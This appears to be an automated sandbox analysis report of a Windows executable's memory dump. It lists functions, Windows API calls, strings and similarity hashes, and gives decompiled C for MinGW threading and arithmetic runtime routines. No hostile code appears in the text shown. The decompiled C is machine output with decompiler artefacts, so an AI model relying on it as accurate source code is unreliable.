0x0043646a
0x004364c4
0x004364cc
0x004364d3
0x004364d8
0x004364da
0x004364dc
0x004364de
0x004364e3
0x004364e5
0x00436594
0x00436597
0x00436599
0x004364eb
0x004364eb
0x004364eb
0x004364e5
0x00000000
0x0043646c
0x0043646e
0x00436475
0x0043647b
0x0043647d
0x00436484
0x004365a3
0x004365ab
0x004365b3
0x004365ba
0x004365bf
0x004365bf
0x0043648a
0x00436492
0x00436494
0x00436580
0x00436585
0x00436587
0x004365c9
0x004365d1
0x004365d9
0x004365e0
0x004365e5
0x004365e5
0x00436589
0x00436589
0x0043649a
0x004364c0
0x004364c0
0x004364c0
0x004364a4
0x004364a4
0x004364ab
0x004364f3
0x004364fb
0x00436503
0x0043650a
0x0043650f
0x0043650f
0x004364ad
0x004364b0
0x004364bb
0x004364bb

Strings

pthr_last_shmem, xrefs: 004365D9
pthr_root_shmem, xrefs: 00436560, 004365B3
mtx_pthr_locked_shmem, xrefs: 00436503, 00436530

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: mtx_pthr_locked_shmem$pthr_last_shmem$pthr_root_shmem
API String ID: 0-1646100703
Opcode ID: a7a40c8309eba319006dc41401d6f2031ac1ee4b6885709113b0908930d387d8
Instruction ID: aa8342cb8448b60f96a00547d35c79b9c7c59fdd367059c60dd4cd5bd70cc6b3
Opcode Fuzzy Hash: a7a40c8309eba319006dc41401d6f2031ac1ee4b6885709113b0908930d387d8
Instruction Fuzzy Hash: 37310AB0608742EFDB00AF21D58032A7AE4AB58354F56E82EA6858B355D77DC404DBAF

Uniqueness

Uniqueness Score: -1.00%

Function 00435C20 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 88COMMON

Download Yara Rule

Strings

once_obj_shmem, xrefs: 00435D01, 00435D7C
once_global_shmem, xrefs: 00435CDE, 00435D27

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalCurrentEnterSectionThread
String ID: once_global_shmem$once_obj_shmem
API String ID: 3488303727-2300962338
Opcode ID: 79c3c749072f82092f99727787df244a273eb5b4351005272cf62811004f4708
Instruction ID: da60cde8bcf537aaae1c56c91a5b81839ee2959a8ca70c2b2a5ca44ef0f6fb11
Opcode Fuzzy Hash: 79c3c749072f82092f99727787df244a273eb5b4351005272cf62811004f4708
Instruction Fuzzy Hash: F73150B0509B04DFE710AF24C48431ABBE0EF48708F55A81ED6858F311D7BC9844EB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A740 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0043A757
CloseHandle.KERNEL32 ref: 0043A783
free.MSVCRT ref: 0043A7AD

Part of subcall function 0043BBA0: strlen.MSVCRT ref: 0043BBAF
Part of subcall function 0043BBA0: memcpy.MSVCRT ref: 0043BC06
Part of subcall function 0043BBA0: CreateMutexA.KERNEL32 ref: 0043BC68
Part of subcall function 0043BBA0: WaitForSingleObject.KERNEL32 ref: 0043BC83
Part of subcall function 0043BBA0: FindAtomA.KERNEL32 ref: 0043BC93
Part of subcall function 0043BBA0: malloc.MSVCRT ref: 0043BCAA
Part of subcall function 0043BBA0: AddAtomA.KERNEL32 ref: 0043BCD3
Part of subcall function 0043BBA0: free.MSVCRT ref: 0043BCFC
Part of subcall function 0043BBA0: ReleaseMutex.KERNEL32 ref: 0043BD07
Part of subcall function 0043BBA0: CloseHandle.KERNEL32 ref: 0043BD12

Strings

mutex_global_shmem, xrefs: 0043A7E1

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AtomCloseHandleMutexfree$CreateFindObjectReleaseSingleSleepWaitmallocmemcpystrlen
String ID: mutex_global_shmem
API String ID: 2448427057-3168236926
Opcode ID: b358f6c83f05253fe4837a9bfb26e4d76130b9ab133750aefb7a4cc58cc586a2
Instruction ID: 1d5b14ff9d186f7dc063f72730aa3fc80a92e324f4288d2d9298736a86d84ef9
Opcode Fuzzy Hash: b358f6c83f05253fe4837a9bfb26e4d76130b9ab133750aefb7a4cc58cc586a2
Instruction Fuzzy Hash: 9911E8B05487018AD710AF25D48571BBBF0AB48718F11981EE5D58B341E778D899CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004365F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004365FE

Strings

_pthread_tls_shmem, xrefs: 00436630, 00436655

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Alloc
String ID: _pthread_tls_shmem
API String ID: 2773662609-3306369367
Opcode ID: 64d0de21172146d54cf786449d0770dd9f5376c1645851ee0c87c2c33478dedc
Instruction ID: 397277aedc74538b55c068129d021b7e510286635a39f871d6a55e415e7519ba
Opcode Fuzzy Hash: 64d0de21172146d54cf786449d0770dd9f5376c1645851ee0c87c2c33478dedc
Instruction Fuzzy Hash: FEF0C2F0904B02EBC710AF65C58121A7BE4AB08394F41D41ED6844B654D7388404EB5F

Uniqueness

Uniqueness Score: -1.00%

Function 004EAA40 Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 004EAA58
GetStartupInfoA.KERNEL32 ref: 004EAA65
GetModuleHandleA.KERNEL32 ref: 004EAACB

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CommandHandleInfoLineModuleStartup
String ID:
API String ID: 1628297973-0
Opcode ID: a5656303d6b3807ac1f93ecc58a132d0cbdce09c21fc921daa97ad4a94aebcc0
Instruction ID: bd997b563d2d56ab41927357340ecae69e0db04128df52edc0cec6b4cefe812f
Opcode Fuzzy Hash: a5656303d6b3807ac1f93ecc58a132d0cbdce09c21fc921daa97ad4a94aebcc0
Instruction Fuzzy Hash: FA216DB2C043944DCF306B6B86853B77BE19F16306F84016BECD146245E23C7866C65F

Uniqueness

Uniqueness Score: -1.00%

Function 0043BD70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32 ref: 0043BD91

Strings

global_lock_spinlock, xrefs: 0043BDB8

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ExchangeInterlocked
String ID: global_lock_spinlock
API String ID: 367298776-4279298018
Opcode ID: 64ed229d09a556f6869bdeef32bbf37196e271bd7f7d7b5664fb385cb78e9ad4
Instruction ID: e2fc91aa2dae9bbd09f6307f58c1a26c95e6fb51d8a7f304a5d1f2538d915a1c
Opcode Fuzzy Hash: 64ed229d09a556f6869bdeef32bbf37196e271bd7f7d7b5664fb385cb78e9ad4
Instruction Fuzzy Hash: 23F01C749046058AD740AF26D54031B7AE0EBA4309F54966ED6818B326E77894489B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405C80 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00405C95

Part of subcall function 0040B470: malloc.MSVCRT ref: 0040B4B3

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 8833b07f91df19b963ea6e6dbee9d1b77e5bce554786a2fc506d794c4dba2376
Instruction ID: f095ff72b2ddd58a57fa8192c65e66422fa07ce29187e52454d5e8ef7efdb56f
Opcode Fuzzy Hash: 8833b07f91df19b963ea6e6dbee9d1b77e5bce554786a2fc506d794c4dba2376
Instruction Fuzzy Hash: EAE030B01097059EE7007F76898561B7AD4AF45344F818C3ED984A7282EB7D84448B9A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CA80 Relevance: .1, Instructions: 118
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0042CA80(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v32;
				unsigned int _v36;
				signed int _t36;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t55;
				signed int _t57;
				signed int _t60;
				signed int _t62;
				signed int _t71;
				signed int _t78;
				signed int _t87;
				signed int _t89;
				signed int _t92;
				signed int _t94;
				signed int _t101;
				signed int _t102;

				_t92 = _a16;
				_t55 = _a4;
				_t62 = _a8;
				_t87 = _a12;
				_v36 = _t55;
				_t71 = _t62;
				_t36 = _t87;
				if(_t92 != 0) {
					if(_t92 > _t62) {
						return 0;
					} else {
						asm("bsr edi, esi");
						_t89 = _t87 ^ 0x0000001f;
						if(_t89 == 0) {
							if(_t92 < _t62) {
								L17:
								_t57 = 1;
							} else {
								_t57 = 0;
								if(_t36 <= _v36) {
									goto L17;
								}
							}
							goto L5;
						} else {
							_t94 = _t92 << _t89 | _t36 >> 0x00000020;
							_v32 = _t36 << _t89;
							_t42 = _t71 << _t89 | _v36 >> 0x00000020 - _t89;
							_t43 = _t42 / _t94;
							_t101 = _t42 % _t94;
							_t60 = _t43;
							_t78 = _t43 * _v32 >> 0x20;
							_t44 = _t43 * _v32;
							if(_t101 < _t78 || _v36 << _t89 < _t44 && _t101 == _t78) {
								_t60 = _t60 - 1;
							}
							return _t60;
						}
					}
				} else {
					if(_t87 > _t62) {
						return _t55 / _t87;
					} else {
						_t102 = _t87;
						if(_t87 == 0) {
							_t102 = 1 / _t87;
						}
						_t89 = _t62 / _t102;
						_t57 = _t55 / _t102;
						L5:
						return _t57;
					}
				}
			}

0x0042ca87
0x0042ca8b
0x0042ca8f
0x0042ca93
0x0042ca99
0x0042ca9d
0x0042ca9f
0x0042caa1
0x0042cae2
0x0042cb61
0x0042cae4
0x0042cae4
0x0042cae7
0x0042caea
0x0042cb82
0x0042cb90
0x0042cb90
0x0042cb84
0x0042cb84
0x0042cb8a
0x00000000
0x00000000
0x0042cb8a
0x00000000
0x0042caf0
0x0042cb05
0x0042cb09
0x0042cb1f
0x0042cb23
0x0042cb25
0x0042cb27
0x0042cb29
0x0042cb29
0x0042cb2f
0x0042cb41
0x0042cb41
0x0042cb51
0x0042cb51
0x0042caea
0x0042caa3
0x0042caa5
0x0042cb75
0x0042caab
0x0042caad
0x0042caaf
0x0042caba
0x0042caba
0x0042cac6
0x0042caca
0x0042cacc
0x0042cad7
0x0042cad7
0x0042caa5

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afadc2eab2ff3b3027cca3738c1ff8411963936b93912ee887a9f088a56aa3e1
Instruction ID: ed5b5f1a63cc8107f1472cf0426e328277d1879bf9135a97fccd9baca80acf98
Opcode Fuzzy Hash: afadc2eab2ff3b3027cca3738c1ff8411963936b93912ee887a9f088a56aa3e1
Instruction Fuzzy Hash: 2021B437B093250B9714AC6FB8D515EF6C7A7D8264F99813FEA0CC3341ECB19C1A8699

Uniqueness

Uniqueness Score: -1.00%

Function 0042B280 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 83memoryfileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0042B2B0
vfprintf.MSVCRT ref: 0042B2C8
abort.MSVCRT(?,?,?,?,?,?,?,?,?,00400000,0042B3EE), ref: 0042B2CD
VirtualQuery.KERNEL32 ref: 0042B30C
memcpy.MSVCRT ref: 0042B330
VirtualProtect.KERNEL32 ref: 0042B374
memcpy.MSVCRT ref: 0042B39B
VirtualProtect.KERNEL32 ref: 0042B3C9

Strings

@, xrefs: 0042B361
Mingw runtime failure:, xrefs: 0042B2A5

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Virtual$Protectmemcpy$Queryabortfwritevfprintf
String ID: @$Mingw runtime failure:
API String ID: 978211760-2549925133
Opcode ID: 1876874a1d2a558c4f77a2d18bca22bffa1d457172ab0c7cb6a338fa471ff508
Instruction ID: 528d92e29a79508f64584de84d4091f41f3d494de88997af7300f87b26bdbad7
Opcode Fuzzy Hash: 1876874a1d2a558c4f77a2d18bca22bffa1d457172ab0c7cb6a338fa471ff508
Instruction Fuzzy Hash: 1D319EB59083459BD700EF29C18461EFBE0BF88748F959C1EF8D897351D778D9488B86

Uniqueness

Uniqueness Score: -1.00%

Function 0043AA80 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 0043AA96
CreateSemaphoreA.KERNEL32 ref: 0043AAE6
CreateSemaphoreA.KERNEL32 ref: 0043AB10
InitializeCriticalSection.KERNEL32 ref: 0043AB2C
InitializeCriticalSection.KERNEL32 ref: 0043AB3A
InitializeCriticalSection.KERNEL32 ref: 0043AB48
CloseHandle.KERNEL32 ref: 0043AB73
CloseHandle.KERNEL32 ref: 0043AB85
free.MSVCRT ref: 0043AB90

Strings

l, xrefs: 0043AA87

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalInitializeSection$CloseCreateHandleSemaphore$callocfree
String ID: l
API String ID: 3701386200-2517025534
Opcode ID: 87313f87f4e5caeea46800d84f3a9730e52f3b3d48ec46b35b5d865762cec62f
Instruction ID: dbe5e94c8664ecda7efe431951d5c7c6cd7f96218d30a0d7d2e6a2ba6a86a44c
Opcode Fuzzy Hash: 87313f87f4e5caeea46800d84f3a9730e52f3b3d48ec46b35b5d865762cec62f
Instruction Fuzzy Hash: F7310CF14083008EEB10BF39E58535BBBE4AF44318F158AAED8944F286E779D458CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043AF80 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 183synchronizationCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32 ref: 0043AFCA
WaitForSingleObject.KERNEL32 ref: 0043B00B
WaitForSingleObject.KERNEL32 ref: 0043B056
WaitForSingleObject.KERNEL32 ref: 0043B177
ResetEvent.KERNEL32 ref: 0043B1D4

Strings

(, xrefs: 0043B0B9

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Wait$ObjectSingle$EventMultipleObjectsReset
String ID: (
API String ID: 654736092-3887548279
Opcode ID: 0e3b8552fb09de9f006bf554c7f1a4cdfca246f95dac43cfbcd0b928e19659af
Instruction ID: 0e8ce6b69b44642137844e13484c84cc189cccd81effe6800983d4255a9c6ff4
Opcode Fuzzy Hash: 0e3b8552fb09de9f006bf554c7f1a4cdfca246f95dac43cfbcd0b928e19659af
Instruction Fuzzy Hash: BF51D87270430046DB246A6A954A32F76A5EBCC394F24693FFA98C7341DB3DC84987DB

Uniqueness

Uniqueness Score: -1.00%

Function 0040F850 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 210COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F9A2

Strings

/dev/urandom, xrefs: 0040FA2B, 0040FA54, 0040FAA3
Genu, xrefs: 0040FA92
basic_string::append, xrefs: 0040F9D7
random_device::random_device(const std::string&), xrefs: 0040FA7C
default, xrefs: 0040F9FC
/dev/random, xrefs: 0040FA67

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: memset
String ID: /dev/random$/dev/urandom$Genu$basic_string::append$default$random_device::random_device(const std::string&)
API String ID: 2221118986-705455346
Opcode ID: 18a139abd45a2209bcb4c23180fd75f773ae7a17577b1dd8a85b3200ba8dc5c3
Instruction ID: 4954fe131f1188abe9475f078a50e68e6bf230f20d0affb11fca21cde60aab22
Opcode Fuzzy Hash: 18a139abd45a2209bcb4c23180fd75f773ae7a17577b1dd8a85b3200ba8dc5c3
Instruction Fuzzy Hash: 346117B2B087015FD720AF29C480B6BBBE1AF95304F14887FE4C5A7791D378D8498B5A

Uniqueness

Uniqueness Score: -1.00%

Function 004385A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E004385A0(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v20;
				char* _v24;
				char* _v48;
				intOrPtr _v52;
				void* _t39;
				signed int _t42;
				signed int _t43;
				char* _t44;
				signed int _t46;
				void* _t48;
				signed int _t50;
				signed int _t51;
				char* _t57;
				void* _t63;
				signed int _t64;
				void* _t65;
				void* _t68;
				signed int _t72;
				intOrPtr _t76;
				intOrPtr _t78;
				void* _t80;
				char** _t81;
				char** _t82;
				char** _t84;

				_t74 = __edi;
				_push(__esi);
				_push(__ebx);
				_t81 = _t80 - 0x14;
				_t76 = _a4;
				_t39 = E00436AF0(__ebx, _t68, __edi, _t76);
				_t63 = _t39;
				 *((intOrPtr*)(_t39 + 4)) = _t76;
				_t40 =  *((intOrPtr*)(_t39 + 0xb0));
				if( *((intOrPtr*)(_t39 + 0xb0)) != 0) {
					E00437050(_t40, _t68, __eflags);
				}
				if(( *(_t63 + 0x20) & 0x00000030) != 0) {
					_t46 =  *0x5011d4;
					if(_t46 == 0) {
						_v20 = 0x435a90;
						_v24 = 4;
						 *_t81 = "_pthread_tls_shmem";
						_t46 = E0043BBA0(__eflags);
						 *0x5011d4 = _t46;
					}
					 *_t81 =  *_t46;
					_t48 = TlsGetValue(??);
					_t84 = _t81 - 4;
					_t65 = _t48;
					if(_t48 == 0) {
						L8:
						_a4 = _t76;
						goto L30;
					} else {
						if( *((intOrPtr*)(_t48 + 0x14)) == 0) {
							 *_t48 = 0xdeadbeef;
							_t50 =  *(_t48 + 0x18);
							__eflags = _t50;
							if(_t50 != 0) {
								 *_t84 = _t50;
								CloseHandle(??);
								_t84 = _t84 - 4;
							}
							 *(_t65 + 0x18) = 0;
							_t78 =  *((intOrPtr*)(_t65 + 4));
							__eflags =  *(_t65 + 0xac);
							if( *(_t65 + 0xac) != 0) {
								L11:
								_t51 =  *0x5011d4;
								__eflags = _t51;
								if(__eflags == 0) {
									_v20 = 0x435a90;
									_v24 = 4;
									 *_t84 = "_pthread_tls_shmem";
									_t51 = E0043BBA0(__eflags);
									 *0x5011d4 = _t51;
								}
								_v24 = 0;
								 *_t84 =  *_t51;
								TlsSetValue(??, ??);
								_a4 = _t78;
								L30:
								return __imp___endthreadex();
							} else {
								L16:
								E00436670(_t65);
								goto L11;
							}
						}
						_t78 =  *((intOrPtr*)(_t48 + 4));
						 *(_t48 + 0x64) = 1;
						_t57 =  *(_t48 + 0x18);
						if(_t57 != 0) {
							 *_t84 = _t57;
							CloseHandle(??);
							_t84 = _t84 - 4;
						}
						 *(_t65 + 0x18) = 0;
						if(( *(_t65 + 0x24) & 0x00000004) != 0) {
							 *_t65 = 0xdeadbeef;
							 *_t84 =  *(_t65 + 0x14);
							CloseHandle(??);
							_t84 = _t84 - 4;
							 *(_t65 + 0x14) = 0;
							__eflags =  *(_t65 + 0xac);
							if( *(_t65 + 0xac) == 0) {
								goto L16;
							}
							goto L11;
						} else {
							goto L8;
						}
					}
				}
				_t64 = _t63 + 0x6c;
				__eflags = _t64;
				_v24 = 1;
				 *_t81 = _t64;
				L0043D4F0();
				_t82 = _t81 - 0x1c;
				_t42 =  *0x5011e0;
				__eflags = _t42;
				if(__eflags == 0) {
					_v48 = 0;
					_v52 = 4;
					 *_t82 = "_pthread_cancelling_shmem";
					_t42 = E0043BBA0(__eflags);
					 *0x5011e0 = _t42;
				}
				__eflags =  *_t42;
				if( *_t42 != 0) {
					_t43 = E00436AF0(_t64, _t68, _t74, _t76);
					__eflags = _t43;
					_t72 = _t43;
					if(_t43 == 0) {
						goto L22;
					} else {
						__eflags =  *(_t43 + 0x10);
